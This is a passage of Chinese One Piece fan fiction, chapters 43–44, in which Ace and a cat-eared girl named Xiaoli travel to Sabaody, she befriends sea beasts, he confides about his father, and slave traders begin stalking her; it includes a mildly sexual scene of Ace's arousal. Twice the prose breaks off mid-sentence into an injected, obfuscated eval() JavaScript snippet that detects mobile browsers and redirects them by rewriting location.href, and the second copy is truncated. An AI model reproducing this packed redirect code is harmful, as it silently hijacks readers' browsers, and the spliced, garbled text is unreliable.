她不再犹豫,也顾不上老爹那故意吓唬人的“瞪眼”威胁,哼哼唧唧地走了过去。她挤开一脸无奈的护士姐姐们,伸出双手,开始努力调动体内那份源自复制果实、又被她以自己独特的“治愈”理念和理解所引导的力量。微弱的、带着点奇异生命波动的乳白色光晕,如同晨曦般在她掌心泛起,并不强烈,却透着一种纯净而执拗的暖意。 光晕悄然没入,她不知道这样有没有用,她的“治疗”还很粗浅,远不能和马尔科的不死鸟火焰相比,但这是她现在唯一能做的、表达关心和想要分担的方式。 白胡子先是象征性地瞪了她两眼,但小狸只是固执地抿着唇,蓝眼睛里写满了“我不怕你”的执拗。 白胡子见她毫无退缩之意,最终也只是从鼻腔里发出一声无奈又似乎隐含着一丝受用的轻哼,便不再理会,任由这个小女儿用她笨拙却无比真诚的方式,固执地为他缓解着那并不明显、却真实存在的疲惫与不适。 看到小狸“成功”靠近并开始“治疗”,马尔科这才松了口气,走上前来,先是快速检查了一下白胡子的状态,确认只是精力消耗过度,并无其他隐患后,才将目光转向一旁依旧沉默低头的艾斯。 他走过去,伸出手,用力地拍了拍艾斯的肩膀,声音平静却带着沉甸甸的分量: “喂,艾斯。” 艾斯身体微微一震,但没有抬头。 “别忘了,你不仅是黑胡子蒂奇曾经的队长,要去找他清算背叛的账。” 他顿了顿,加重了语气: “你更是我们白胡子海贼团,第二番队的队长!你的背后,不是只有你一个人!整个白胡子海贼团——老爹,我,萨奇,乔兹,比斯塔…还有船上每一个家人——永远都是你最坚实的后盾!无论你要面对的是谁,要去哪里,yoi!” 艾斯的肩膀,在马尔科的话语中,几不可查地颤抖了一下。 他深深地、深深地吸了一口气,然后当他再次抬起头时,帽檐下的那双眼眸里,最后一丝阴霾与犹豫,已被彻底扫空!取而代之的,是无比坚定的光芒! 他猛地站起身,动作干脆利落,一把拎起早已准备好、放在脚边的行囊,甩到肩上。 他转向白胡子,声音沉稳、有力 “老爹,” 他顿了顿,目光灼灼,“我一定会把那个混蛋……马歇尔.蒂奇……带回来!带到您面前,带到萨奇面前,带到所有家人面前……接受他应有的审判!” 然后,他的目光转向刚刚结束“治疗”、还红着眼圈望向他的小狸。 “小狸。” 他唤道,声音不自觉地放柔了些。 “嗯!” 小狸立刻应声,甚至没有多余的思考,身体已然顺应着本能化作漆黑的小猫,分毫不差地落入了早已为她张开的温暖怀抱。 小黑猫在他怀里熟练地调整了一下姿势,眼睛里是全然的信任和“我准备好了”的乖巧。 艾斯稳稳地接住她,用臂弯将她圈好。然后,他最后回过头,目光扫过甲板上所有的家人—— 每一张脸,都是他的归处,他的力量之源。 他收回目光,不再犹豫,抱着怀里的小猫,大步走向船舷边早已准备好的火焰小艇。 “我们走了!” 他朗声喊道,声音随着海风,清晰地传回莫比迪克号。 火焰小艇的尾部引擎发出低沉而有力的轰鸣,朝着远方的香波地群岛疾驰而去 43. 活着的意义 前往香波地群岛的航程并不短暂。艾斯提前拜托船上的工匠将前锋号稍微改大了一些,虽然依旧小巧,但两人乘坐不再像最初那样拥挤,也有了一方可以舒展身体、摆放物件的空间。 最近几天,艾斯注意到小狸的行为有些微妙的变化。他发现她不仅仅是趴在船舷发呆,偶尔还会对着荡漾的海面,用极低的声音,断断续续地说着什么。那声音太轻,被海浪声和海风轻易掩盖,只看得见她嘴唇细微的开合,眼神中是一种近乎实验般的专注与好奇。 这种神秘兮兮的举动持续了好几天,终于勾起了艾斯全部的好奇心。 “小狸?”在小狸又一次半个身子挂在船舷外时,艾斯终于忍不住,走到她身后,微微弯下腰,疑惑询问。 小狸被这突如其来的声音惊得肩膀一耸,猫耳倏地转向后方。她不好意思地吐了吐舌头:“哎呀,被哥哥发现啦?本来想给你一个惊喜的……” 她将右手伸出船舷,纤细白皙的手指缓缓探入微凉的海水中,指尖划开一道浅浅的涟漪。 “看好了哦。”她轻声说,语气里带着一种孩子般的炫耀和期待。 起初,只是她指尖附近的海水泛起不同寻常的、密集的细小气泡。然后,仿佛有无形的信号以她的指尖为中心扩散开来,原本在远处悠游的、零星的鱼影开始调转方向。先是几条胆大的、色彩斑斓的小鱼试探性地靠近,绕着她的手指打转。接着,更多的鱼从四面八方汇聚而来——它们越聚越多,层层叠叠,几乎遮蔽了她手指附近的海水。鱼群拥挤翻腾,鳞片在阳光下反射出炫目的七彩光芒,海面被搅动得哗哗作响,水花四溅。一些被挤到外围的鱼被迫跃出水面,在空中画出一道道圆滑闪亮的弧线,“噗通”一声再落回海中,激起更大的涟漪。 这景象太过奇异,使得艾斯猛地睁大了眼睛,他震惊地看着那一片沸腾般的鱼群,又猛地转头看向小狸的侧脸——她正专注地看着海面,表情带着一丝雀跃 “你……你是怎么做到的……?”艾斯的声音里充满了难以置信。这绝非巧合能解释的景象,他想起她恶魔果实的能力,她又学到了什么奇怪的东西。 小狸疑惑地回头看了他一眼,随即像是明白了什么,有些懊恼地“啊”了一声,后知后觉地否定道:“不是这个!”她皱了皱小巧的鼻子,“你再等下,那家伙今天有点懒。” 那家伙?艾斯心中升起更大的疑团。 小狸重新凝神望向更远的海面,深吸了一口气,微微眯起了眼睛,那双蓝眸深处似乎有极淡的、难以捕捉的光晕流转了一下。她将手掌完全没入水中,仿佛在感受着某种更深层的律动。 几秒钟的寂静,只有海浪声和风声。 紧接着,他们附近的海面毫无征兆地剧烈翻涌起来!原本平静的蔚蓝色海面像是被一只无形巨手从深处搅动,鼓起一个庞大无比的、令人心悸的水包!海水向四周排开,形成一圈汹涌的白色浪涌。一个巨大到超乎想象的黑影从深海中缓缓浮起。最先破水而出的是一个毛发湿漉漉的、宛如小山丘般的头颅,那轮廓分明属于犬科动物,有着耸立的耳朵和湿润的黑色鼻头。而这颗头颅,竟以一种极其怪异的方式,连接在布满深色斑纹、流线型的巨大鱼身之上 它张嘴吞下鱼群,激起的海浪让前锋号剧烈颠簸起来。艾斯几乎是本能地一个箭步跨上前,将还在探头张望的小狸严严实实护在身后。 然而被护在身后的小狸却发出了开心的笑声,她甚至灵活地从艾斯紧绷的手臂下方钻了出来,朝着那只光是头颅就比他们的船还要大上数倍的巨兽伸出手臂,用力地挥舞着。 “你看!它来了!”她回头对艾斯喊道,眼睛亮晶晶的像盛满了星光。 更让艾斯目瞪口呆的是——那只巨兽,竟真的缓缓低下了它的头颅!它巨大的黑褐色眼睛望向小狸,用那覆盖着短硬毛发、冰凉粗糙的头顶,极其轻柔地、充满试探性地蹭了蹭小狸摊开的小小掌心。 那个动作的轻柔程度,与它山岳般的体型形成了令人眩晕的对比。 小狸挠了挠巨兽头顶湿漉的毛发,那巨兽似乎很受用,喉咙里发出一阵低沉的、如同远处闷雷般的“呜噜”声。 紧接着,仿佛是为了进一步表达亲昵和“无害”,那只巨大的海兽在海中笨拙却迅猛地转了个身!它那绵长庞大的身躯搅动海水,瞬间掀起滔天巨浪 巨浪在即将吞噬小艇的瞬间,那海兽似乎意识到自己闯了祸,动作猛地一顿,调转回头,将被浪头推得打转的小艇送到了相对平静的水域。 小狸被刚才的“过山车”弄得惊叫一声,随即笑得更欢了。她拍拍船舷,对着海兽喊道:“大个子!带我们跑快点好不好?” 海兽仿佛听懂了,发出一声欢快的、悠长的低鸣。它干脆将庞大的身躯往下一沉,然后小心翼翼地将整艘火焰小艇顶在了自己宽阔平坦、如同小型岛屿般的头顶上,摆动着那强健无比的尾鳍和侧鳍,以一种与其笨重外表截然相反的惊人速度破浪前行! “哇啊——!”海风猛烈地吹拂起小狸的头发和猫耳,发丝狂乱地飞舞,裙摆猎猎作响。她非但不害怕,反而兴奋地张开双臂,拥抱扑面而来的风,发出畅快无比的笑声:“怎么样艾斯!是不是超——级快!” 艾斯从最初的极度震惊和戒备中缓缓回过神。他们正站在一只海兽的头顶,以远超普通帆船的速度在伟大航路上疾驰,这经历说出去恐怕都没人信。他又看向身边笑得毫无阴霾、仿佛只是找到一个新玩伴的少女,海风将她脸颊吹得红扑扑的,蓝眼睛在高速带来的刺激下闪闪发光,里面是全然的快乐。 艾斯忍不住也无奈笑了起来,他伸手揉了揉自己被风吹乱的头发:“真是……败给你了。” 他的目光落在小狸依旧带着兴奋红晕的脸上,语气变得认真而好奇,“你这到底是什么时候学会的……和它们‘沟通’?” 他指了指脚下温顺如巨型宠物般的海兽。 “就是最近呀!”小狸收回手臂,转而抱住艾斯的胳膊以稳住身体,仰头看着他解释,语气轻松。“一开始只是无聊,试着像之前乔巴巴教我的和陆地上的小动物那样,集中注意力对鱼群‘说话’,或者说,是‘传递想法’。” 她歪着头,努力寻找合适的词汇,“但是发现它们的小脑袋里几乎空空如也,根本无法进行复杂的沟通,只能感受到非常简单的情绪,比如‘来’、‘吃’、之类的,而且意外的听话。后来我就不满足于小鱼了,开始试着往更深、更远的海水里找。” 她顿了顿,眼睛弯起来:“慢慢地,就发现了藏在海里的大家伙们!” 她跺了跺脚,脚下的海兽配合地发出一声低鸣,“它们慢慢地回应了我,能‘听懂’的要比小鱼多得多!虽然还是很模糊,但基本的意图,比如‘来’、‘帮忙’、‘快’、‘停’,还有‘友好’,都能明白。不过嘛……” 小狸的语调稍稍低落了一点,带着点小郁闷:“更深更深的地方,好像还有一些更大更大的存在,但是好像完全不想理我,对我的‘呼唤’一点反应都没有” 她困惑地皱起鼻子。 艾斯却敏锐地抓住了她话里更关键、也更可怕的信息:“它们?你的意思是……不只这一只?” “对呀!”小狸点点头,一副理所当然的样子,完全没意识到自己透露了多么惊人的东西,“大家都很友善呢~” 她拍了拍海兽的头顶,后者惬意地眯了眯巨大的眼睛。 艾斯看着脚下这只“开朗热情”的巨型海狗,再想象一下被小狸称作“大家”的海兽们……一股寒意混合着强烈的震撼悄然爬上他的脊背。他忽然意识到,自家这只看似无害、总是依赖着他的小猫,在完全不自知的情况下,究竟掌握了多么可怕的一种“能力”! 在她郁闷地说“更深处的大家伙不理我”时,艾斯反而在震惊之余,隐秘地松了一口气——幸好,幸好她的能力似乎有极限,尚未触及那些真正被称为“海王类”的、如同天灾般的古老存在。否则…… 然而即便是现在的程度,也足够让他难以平静。小狸的眼睛里只有找到新朋友的快乐和分享的兴奋,丝毫没有对这份“力量”的自觉与敬畏。这份天真与她所拥有的能力形成了极其强烈的反差,让艾斯在震撼之余,涌起一股更强烈的责任感——他必须守护好她,守护好这个秘密,至少在她足够强大、足够了解这个世界之前。 闲来无事,海上时光变得慵懒而惬意。小狸拉着艾斯从船舱里爬出去,趴在大狗毛茸茸的头顶上晒太阳。海兽的毛发短硬,被太阳晒得暖烘烘的,带着海水特有的咸腥和生命的气息。他们并排躺着,身下是微微起伏的“活体岛屿”,头顶是无限高远的蔚蓝天空,阳光毫无遮挡地洒下来,将皮肤烘得暖洋洋的。 小狸眯着眼睛,尾巴放松地摊开,尾巴尖随着海兽游动的节奏轻轻晃动。她忽然想起之前香克斯来访莫比迪克号时,那即便收敛也依旧磅礴惊人、仿佛能将空气都凝固的可怕气势,不由得好奇地转过头,用胳膊肘碰了碰旁边的艾斯。 “哥哥,‘霸气’到底是什么感觉呀?” 艾斯枕着自己的手臂,闻言侧过头看她。阳光在他脸上投下睫毛的阴影,他想了想,说:“霸气啊……是一种源自于身体和精神的力量。见闻色能感知气息、预判攻击;武装色能强化身体、捕捉自然系实体;至于霸王色……”他顿了顿,语气里带上了一丝复杂的感慨,“那是与生俱来的‘资质’,是数百万人中才有一人拥有的‘王的资质’。” 在得知艾斯很小的时候,就无师自通地觉醒了霸王色霸气之后,小狸立刻鼓起了脸颊,猛地翻身坐起,居高临下地瞪着艾斯,耍赖般地控诉道: “哇!哥哥太狡猾了!那么早就学会了那么厉害的东西!不公平!” 阳光勾勒出她纤细的身形轮廓,海风吹动她略显凌乱的发丝和翘起的猫耳,那张小脸上满是不服气和撒娇般的抱怨,生动得让艾斯心跳漏了一拍。 她说着,湛蓝的眼珠滴溜溜一转,突然毫无征兆地发难!艾斯猝不及防,只来得及发出一声短促的惊呼,就被她成功地扑倒在温暖粗糙的“地面”上。小狸动作流畅地跨坐在了他的腰腹之间,双手按在他的胸膛上,稳住了自己,也制住了他下意识想起身的动作。 “不管!”她居高临下地看着他,背对着阳光,脸藏在阴影里,但那双蓝色的猫瞳却亮得惊人,里面闪烁着狡黠、得意和不容拒绝的好奇光芒。“作为补偿,哥哥要跟我说你小时候的事!全部都要说!不许糊弄我!” 这个姿势和距离,瞬间点燃了艾斯全身的血液! 少女柔软的身体紧密地贴合着他,隔着薄薄的衣物,他能清晰地感受到她身体的曲线、重量和体温。他的双手下意识地扶住了她的腰侧,那不盈一握的触感更是火上浇油。艾斯的脸“轰”地一下爆红,从脖子根一路烧到耳尖,连雀斑都快被红晕掩盖,带来一阵阵令他羞恼慌乱的燥热和悸动。他对小狸的亲密举动越来越无法保持平常心,此刻更是心慌意乱得无以复加,大脑一片空白,只剩下怀中温软的触感和近在咫尺的、她带着坏笑的脸。 “小、小狸!别闹!快下来!”他的声音沙哑得厉害,带着明显的慌乱,趁着小狸还没察觉到他身体某处明显的变化,赶紧手忙脚乱地一把将她从自己身上抱起来,小心却又迅速地放到一边。他自己则像被烫到一样猛地坐起身,略带狼狈地侧过身,曲起一条腿,不太自然地掩饰着身体的尴尬反应,心跳如擂鼓,久久无法平复。 海风似乎也吹不散脸上的热度。艾斯深吸了几口气,努力平复着狂乱的心跳和身体里躁动的火焰。他悄悄用眼角余光瞥向小狸——她正坐在那里,歪着头看他,脸上似乎有点困惑,但更多的还是那种“你不说我就不罢休”的神情,蓝色的眼睛一眨不眨地盯着他,尾巴在身后小幅度地甩动,带着点催促的意味。 艾斯知道,这次是糊弄不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941770|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了。看着她的眼神,那些被他深埋心底、从未对任何人完整诉说的过往,慢慢有了倾吐的欲望。他叹了口气,脸上的红潮稍稍退去,眼神却微微飘远,望回遥远的过去。 他本来只想挑些轻松愉快的部分说,比如他很早就很强,打架没输过;比如嘴硬心软的养母达旦,比如风车村那个总是飘着烤肉香的小酒馆和和蔼的玛琪诺;比如科尔波山上那间乱糟糟却温暖的小木屋;比如比如他那个橡胶笨蛋弟弟路飞整天闯祸却又骄傲无比的模样;还有萨博,那个金发的、总是一本正经却又和他一起胡闹的兄弟…… 然而,回忆的闸门一旦打开,那些刻意被遗忘的、灰暗的潮水便不受控制地涌了上来。他的童年,在遇到萨博和路飞、找到一丝微弱的光亮之前,几乎完全被冰冷刺骨的孤独、无处不在的质疑和深植骨髓的自我憎恨所填满。那些痛苦的记忆如同跗骨之蛆,日夜啃噬着他年幼的心灵,一旦开口,酸涩便哽住了喉咙。 他无数次在漆黑的夜里,蜷缩在冰冷的角落,听着窗外呼啸的风声,一遍遍地问自己:我为什么要出生?我活着是不是一个错误? 他的声音渐渐低沉下去,不再有平时爽朗飞扬的语调,而是带上了一丝不易察觉的、被岁月磨砺过的沙哑和颤抖。 他停顿了很久,久到小狸几乎以为他不会再说了,才用尽力气般地,缓缓开口: “……后来,我才知道,我的身上流淌着被诅咒的血脉。” 他闭上了眼睛,浓密的睫毛微微颤动,再次睁开时,那双总是燃烧着火焰般热情的黑眸里,此刻盛满了迷茫和痛苦。他需要巨大的勇气,才能对着眼前这双清澈的蓝眼睛,说出那个缠绕他整个生命的名字: “我的父亲……是哥尔·D·罗杰。” 艾斯扯了扯嘴角 “海贼王的儿子……”他重复着,语气里充满了自嘲和一种深深的疲惫,“从一出生起,就被这个世界判了死刑。海军、世界政府、无数憎恨罗杰或者恐惧他留下血脉的人……不知道有多少双眼睛在黑暗里盯着我,等着我长大,露出破绽,然后……杀了我。” 他的目光失去了焦点,望向虚空,仿佛能看到那些无形的、充满恶意的视线织成的网。那个困扰了他整个青少年时期、即使在加入白胡子海贼团后也未曾真正消散的阴霾,在此刻面对他最信任、最想守护的人时,终于冲破了所有防线,化作了那个他从未对任何人问出口、却日夜煎熬着他的问题: “小狸啊……”他的声音轻得如同叹息,带着一种近乎脆弱的迷茫,看向身边安静聆听的少女。“像我这样的人……背负着这样的罪恶血脉,给身边人带来无数危险和麻烦……活着……真的好吗?我的诞生,真的是一件……值得被祝福的事情吗?” 话音刚落,甚至没等艾斯从那股汹涌的自我怀疑和悲伤情绪中抽离—— 一个柔软而温暖的身体就猛地撞进了他的怀里!那力道之大,带着不顾一切的决绝,撞得他胸口发闷,控制不住地微微后仰。 艾斯愣住了,大脑一片空白。所有的伤感、迷茫、沉重的过往,在这一撞之下,似乎都暂停了。 紧接着,他感到胸口迅速被温热的液体浸湿——不是海水,是滚烫的泪水,迅速打湿了他的胸口,灼烫着他的皮肤。怀里的少女一开始只是压抑地抽泣,肩膀细微地颤抖,但很快,那抽泣就变成了无法抑制的嚎啕大哭! 这突如其来的、比他自己的情绪还要汹涌的泪水,反而让原本有些陷入低沉情绪的艾斯措手不及。一时间,他竟忘了自己的伤感,只剩下满心的慌乱无措,他下意识地收紧手臂,将她更紧地圈在怀里,掌心笨拙地拍抚着她剧烈颤抖的背脊。 “呜哇——!!!”小狸哭得上气不接下气,每一次抽噎都仿佛用尽了全身的力气,小小的身体在他怀里哭得蜷缩起来,像只受伤的幼兽。然而,在这震耳欲聋的哭声中,她却用尽了所有的力气,声音带着浓重到化不开的哭腔,却无比响亮、无比清晰、每一个字都像用灵魂呐喊般,在他怀里炸开: “笨蛋艾斯!大笨蛋!!!” “这个世界有艾斯!真的太好了!!!” “我一直……一直都好冷……好寂寞……面包真的好难吃……晚上一个人……好害怕……” “我真的、真的、很感谢……你能出现在我的生命里!你能活着!真的!很好!很好!很好啊!!!” 每一个字,都像一记裹挟着最纯粹情感的重锤,狠狠敲碎了他心外围裹了多年的、坚硬冰冷的自我怀疑外壳 艾斯的身体猛地一震,像是被无形的电流贯穿。他闭上了眼睛,滚烫的液体终于也无法控制地从眼角滑落。他回抱住纤细的少女,将脸深深埋进她已被泪水浸透的颈窝里,贪婪地呼吸着属于她的气息,仿佛从她身上汲取着无穷的、活下去的勇气和崭新的意义。 她的哭声,她的话语,她毫无保留的、炽热的情感,像最有效的良药,熨帖着他心中最深、最旧的伤疤。那些关于血脉的诅咒、关于存在的质疑、关于自身价值的迷茫……在这一刻,似乎都变得不再那么沉重了。 因为她需要他。因为她感谢他的存在。因为他的活着,对她而言,是如此重要而美好的事情。 过了许久,汹涌的泪水才渐渐平息,只剩下细微的抽噎。他蹭了蹭小狸同样湿漉漉的颈窝,这个动作带着全然的依赖和亲昵,声音很轻,有些沙哑,却无比清晰、无比肯定地,在她耳边回答道: “嗯。” 一个字,承载了千言万语,承载了所有的释然、感激和重新坚定的决心。 困扰了他多年的、关于存在的问题,似乎终于找到了一个简单却无比坚实的答案。没有归宿的流浪猫,不知未来方向的火焰,两个曾经同样孤独寂寞的灵魂,在这一片蔚蓝的见证下,前所未有地紧紧靠在了一起,彼此依存,彼此温暖,成为了对方生命中不可或缺的光。 44. 香波地的阴影 巨大的海狗在接近香波地群岛常规航线的外围便缓缓停下了。它再往前,那如同移动小山般的庞然身躯就太过显眼了,势必会引来无数不必要的骚动。那双褐色眼睛流露出明显的不舍,低低地呜咽了一声,声音闷雷般在海面上滚过。 “还会再见的啦,道戈,等两天我就找你玩好不好?”小狸趴在船舷边,半个身子探出去,用力拍着它冰凉粗糙的头顶,声音放得又软又糯,像是真的在哄一个不愿分别的大狗。 被取名为“道戈”的海狗似乎听懂了,它巨大的头颅轻轻上下晃动,溅起细碎的水花。 小狸的起名技术简直深得老K真传,拐弯?那是不存在的。 橘红色的火焰在船尾欢快地喷吐,推动着小艇划开平静的海面,驶向那片逐渐在视野中清晰起来的、如同梦幻泡影般的岛屿群。 --- 香波地群岛。由数十棵树龄超过千年的巨大亚尔其曼红树构成,其裸露在海面之上的气根经过特殊分泌物的包裹,形成了岛上独特的“泡泡文化”。无数大小不一、七彩斑斓的肥皂泡或从地面缓缓升起,或漂浮在半空,或包裹着车辆行人,在阳光下折射出迷离炫目的光彩。远远望去,整片群岛宛如一个巨大而脆弱的童话乐园,漂浮在蔚蓝的大海上,美丽得不真实。 然而,踏上岛屿后,那层梦幻的滤镜便迅速剥落。或许是因为不久前红发的造访所带来的压力,艾斯从下船踏上松软的红树根地面起,整个人的状态就一直处于一种紧绷的状态。所以即便这里新奇梦幻得超乎想象,小狸也彻底没了闲逛的心思,紧紧跟在艾斯身后半步的距离,宽大的斗篷下摆随着她的步伐轻轻摆动,将自己存在感降到最低。 现实的调查进行得磕磕绊绊,充满挫折。他们按照之前得到的一些模糊线索——关于黑胡子可能出没的酒吧、疑似其党羽接头的暗巷、某些地下情报贩子口中流出的传言——跑了好几个编号区域。然而,结果要么是空穴来风,纯粹是好事者编造的谣言;要么是早已人去楼空,只留下被翻得乱七八糟的废弃屋子和一地狼藉,线索彻底断掉。 “又是白跑一趟!可恶!蒂奇那个混蛋……”蹲在又一间空无一人的破旧安全屋前,艾斯烦躁地狠狠揉了一把本就有些凌乱的黑发,指缝间泄出压抑的怒火。他的语气里充满了懊恼,但更深层的是那一丝不易察觉的、逐渐蔓延的不安。他总觉得这像是一个精心布置的陷阱,是黑胡子故意放出的、真真假假的烟雾弹,目的就是不断消耗他的精力,把他引离真正关键的线索,或者让他在这种漫无目的的奔波中疲于奔命、露出破绽。 小狸安静地跟在他身边,穿着那件不起眼的深灰色宽大斗篷,宽大的连帽几乎遮住了她大半张脸,只露出小巧的下巴和一点点鼻尖。她那条过于显眼、毛茸茸的黑色长尾巴,此刻正被她小心翼翼地卷起来,紧紧贴着腿侧,藏在了斗篷宽大的下摆下面,一丝痕迹也不敢露。 “艾斯,这里感觉好奇怪……”小狸微微抬起头,借着帽檐的阴影,用那双敏锐的猫瞳警惕地打量着周围看似繁华的街景。空气中弥漫着的,不仅仅有红树特有的清香,更深处,还有一种混乱、浮躁、贪婪与危险交织的暗流。那些看似普通的行人中,有些人的眼神游移不定,藏着算计;有些角落投来的视线,带着令人不适的评估意味。 “啊,”艾斯点了点头,身体微微侧向小狸,压低声音,用只有两人能听清的音量解释道,“这里是从‘乐园’前半段进入新世界的必经之路,七条航线最终都会汇聚于此。鱼龙混杂,海贼、商人、赏金猎人……乱成了一锅粥。” 他顿了顿,眼神冷了几分,扫过远处几个看似闲逛、实则目光逡巡的身影,“更糟糕的是,因为那些‘天龙人’时常会来这里‘采购’,加上世界政府某种程度上的默许甚至纵容,这里的人口买卖交易……非常猖獗。人类、长手族、甚至人鱼、鱼人……只要具有‘特色’或‘价值’,都可能成为他们的目标。” 他的声音里带着毫不掩饰的厌恶 尽管两人已经尽可能低调,衣着普通,行色匆匆,但波特卡斯·D·艾斯的名号和样貌,在香波地群岛这种消息灵通之地,并非什么秘密。白胡子海贼团二番队队长的身份,加上那高达五亿贝利的惊人悬赏金,本身就如同黑夜中的火炬,足以吸引无数的目光。 艾斯能清晰地感觉到那些不怀好意的视线。在经过一条相对狭窄的巷口时,几个眼神凶悍、腰间鼓鼓囊囊显然藏着武器的男人交换了一下眼色,似乎有些蠢蠢欲动。 艾斯脚步未停,甚至连头都没完全转过去,只是眼角的余光如冰冷的刀锋般倏然扫过那几人,鼻腔里发出极轻却充满威慑力的一声冷哼。 “哼。” 一股无形无质、却沉重如山岳般的威压——霸王色霸气——如同精准投掷的石块,瞬间砸在那几人身上! 那几人脸上的凶悍瞬间凝固,转为骇然的惨白,仿佛瞬间被扼住了喉咙,呼吸困难,瞳孔急剧收缩。他们踉跄着后退,后背重重撞在墙壁上,冷汗瞬间湿透了衣襟,看向艾斯的眼神充满了恐惧,再不敢有丝毫上前捡便宜的念头,连滚爬爬地消失在了巷子深处。 “啧。” 艾斯无奈地叹了口气,眉宇间掠过一丝疲惫。这种走到哪里都可能被当成“肥羊”或“目标”的感觉,确实让人难以放松。他侧过身,伸手将自己头上那顶标志性的橙色牛仔帽摘了下来,不由分说地扣在了小狸戴着斗篷帽的脑袋上,然后又往下用力压了压,宽大的帽檐几乎完全遮住了她的额头和眼睛,将她的小脸藏得严严实实。 “唔……艾斯,压到耳朵了啦……” 帽子下传来小狸闷闷的、带着点委屈的哼哼声,帽子边缘明显地鼓起两个小包——那是她被压得不得不紧紧贴住头皮的猫耳。 艾斯看着那两处可爱的凸起,心底的烦躁被一丝柔软取代,他故意板起脸,压低声音逗她:“乖,藏好。这里到处都是眼睛。要是被那些人贩子看到你这对漂亮的猫耳朵,他们肯定会想方设法把你抓去卖掉的。那些天龙人和贵族,就喜欢收集各种‘稀有种’。” 他本以为会看到小狸害怕或紧张的表情,没想到帽子下传来一阵窸窣,接着是小狸带着笑意的、俏皮的反问:“那要是真的那么倒霉被卖掉了,艾斯会来买我回去吗?嘿嘿,你准备花多少贝利?” 她的声音里没有恐惧,只有全然的信任和一点恶作剧般的期待。 艾斯被她这没心没肺的反应弄得一愣,随即失笑。他摸着下巴,故作认真地沉吟起来,眼里闪烁着戏谑的光:“嗯……让我想想,多少好呢~一贝利怎么样?毕竟是我家的麻烦小猫,倒贴钱都未必有人要呢。” “呜哇!艾斯还真的想把我卖掉!才一贝利!我生气了!” 帽子猛地被顶起一些,露出小狸气鼓鼓的、瞪得圆溜溜的蓝眼睛和微微发红的脸颊。她像只被踩了尾巴的小猫,不再顾忌隐藏,直接用戴着帽子的脑袋去顶艾斯的胸口,力道不大,却充满了抗议。 艾斯大笑着,顺势揽住她的肩膀,轻轻拍了拍,将她乱动的脑袋按回自己身侧。 两人笑闹着,暂时驱散了连续扑空和周围环境带来的沉重阴霾。然而,危险往往蛰伏在最明媚的阳光之下,发生在最不经意的瞬间。 就在他们穿过一条林荫小径,准备抄近路前往下一处可疑地点时,一阵突如其来的、方向极其刁钻的怪风,毫无预兆地从侧面狭窄的建筑缝隙中猛灌出来! “呼——!” 风势强劲而突兀,卷起地上的落叶和灰尘,也猛地掀起了小狸为了行动方便而并未死死扎紧的宽大斗篷下摆! 深灰色的布料飞扬而起—— 那条毛茸茸的、漆黑油亮、线条优美的长尾巴,瞬间暴露在了午后明亮的空气中! 它因为突然失去遮蔽和受惊,甚至无意识地迅速摆动了一下,划出一道清晰的黑色弧线。 虽然只有短短一刹那,小狸立刻惊觉,“啊”地低呼一声,手忙脚乱地迅速将飞扬的斗篷下摆拉回,死死按住,同时腰身一扭,尾巴“嗖”地一下灵巧地缩回了斗篷内,紧紧卷住自己的小腿,再不敢动弹。 艾斯也皱了眉,警惕地环顾四周。小径上此刻似乎没有其他人。 但他们都没有注意到,或者说,无法注意到—— 在小径斜对面一栋三层红砖建筑的二楼,一扇半掩的、贴着深色玻璃纸的窗户后面,几双如同秃鹫般贪婪而精明的眼睛,正死死地盯住了他们,准确地说,是盯住了小狸刚才惊鸿一现的尾巴,那股怪风正是来自其中一人 “喂!快看!刚才那个……斗篷下面!” 一个沙哑的声音压抑着兴奋。 “黑色的……尾巴?是装饰还是……”另一个声音迟疑。 “不像假的!动作很自然!甩动的时候能看到肌肉的线条和毛发的光泽!可能是稀有种!动物系?”第三个声音更加肯定,带着难以抑制的激动。 “跟上去看看!摸清他们的落脚点!如果有机会……这种货色,送到‘那些大人’面前,价格绝对能翻上天!”最初那个沙哑的声音一锤定音,充满了势在必得的狠劲。 这几个人并非香波地最大、最著名的人口拍卖场“人类拍卖场”的直属人员,而是更下游的、专门负责“供货”的灰色小团伙,利用各种下作手段物色目标,再将“货物”转卖给更大的贩子或拍卖场,从中抽取巨额利润。他们刚好在这一带“巡查”,艾斯的高额悬赏让他们望而却步,但那个被严密保护着的、似乎有着非人特征的娇小身影,却勾起了他们极大的兴趣。 风险?当然有。但利润更高!而且,他们团伙里有一个成员的能力,可以控制气体,带着特制的麻药神不知鬼不觉地将人迷晕,专门对看似有价值且防范不严的女性或特殊种族下手。手段隐蔽,事后很难追查。对付艾斯他们不敢,但对付那个看起来纤细柔弱、只是被艾斯保护着的小姑娘?在他们看来,风险“可控”。一旦得手,迅速通过秘密渠道将“商品”转移脱手,到时候茫茫大海,和白胡子海贼团有牵连又怎样?没有直接证据,谁能找到他们头上?巨额贝利的诱惑,足以让他们铤而走险。 命运仿佛一个恶意的玩笑。艾斯出于对小狸的保护和船上规矩的遵守,在寻找临时落脚点时,特意挑选了一家看起来干净正规的旅馆,并且开了两间相邻但独立的房间。旅馆老板看起来也是个面色和善、言语周到的中年人。艾斯仔细检查过房间,确认安全后,才让小狸入住。 然而,他们都不知道,这位看似和善的旅馆老板,那双眯起的笑眼背后,早已和香波地地下世界的某些阴影有了千丝万缕的联系。老板那职业化的热情下,目光早已如同评估货物般,快速扫过被宽大斗篷遮盖得严严实实的小狸,而她被安置的房间,恰恰是这间旅馆为数不多的、拥有特殊通风管道设计的“便利”房间之一 傍晚时分,艾斯动身前往香波地最为复杂混乱、情报贩子和黑市商人聚集的“不法地带”编号区域。那里环境更加险恶,龙蛇混杂。反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 